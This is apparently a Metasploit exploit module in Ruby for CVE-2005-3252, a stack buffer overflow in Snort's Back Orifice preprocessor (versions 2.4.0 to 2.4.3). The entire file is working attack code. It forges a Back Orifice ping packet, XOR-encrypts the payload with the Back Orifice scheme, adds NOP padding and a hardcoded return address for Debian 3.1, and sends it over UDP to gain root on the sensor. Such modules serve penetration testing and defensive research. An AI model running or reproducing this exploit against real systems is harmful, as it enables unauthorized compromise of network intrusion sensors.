bcoles
102 lines
2.4 KiB
Ruby
102 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Back Orifice pre-processor module
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included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
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be used to completely compromise a Snort sensor, and would typically gain an attacker
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full root or administrative privileges.
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},
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'Author' => 'KaiJern Lau <xwings[at]mysec.org>',
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'License' => BSD_LICENSE,
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'References' => [
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['CVE', '2005-3252'],
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['OSVDB', '20034'],
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['BID', '15131']
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],
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'Payload' => {
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'Space' => 1073, # ret : 1069
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'BadChars' => "\x00"
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},
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'Platform' => %w[linux],
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'Targets' => [
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# Target 0: Debian 3.1 Sarge
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[
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'Debian 3.1 Sarge',
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{
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'Platform' => 'linux',
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'Ret' => 0xbffff350
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2005-10-18',
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'Notes' => {
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'Stability' => [],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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Opt::RPORT(9080),
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]
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)
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end
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def msrand(_seed)
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@holdrand = 31337
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end
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def mrand
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return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)
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end
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def bocrypt(takepayload)
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@arrpayload = takepayload.split(//)
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encpayload = ''
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@holdrand = 0
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msrand(0)
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@arrpayload.each do |c|
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encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr
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end
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return encpayload
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end
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def exploit
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connect_udp
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boheader =
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'*!*QWTY?' +
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[1096].pack('V') + # Length, thanx Russell Sanford
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"\xed\xac\xef\x0d" + # ID
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"\x01" # PING
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filler = make_nops(1069 - (boheader.length + payload.encode.length))
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udp_sock.write(
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bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))
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)
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handler
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disconnect_udp
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end
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end
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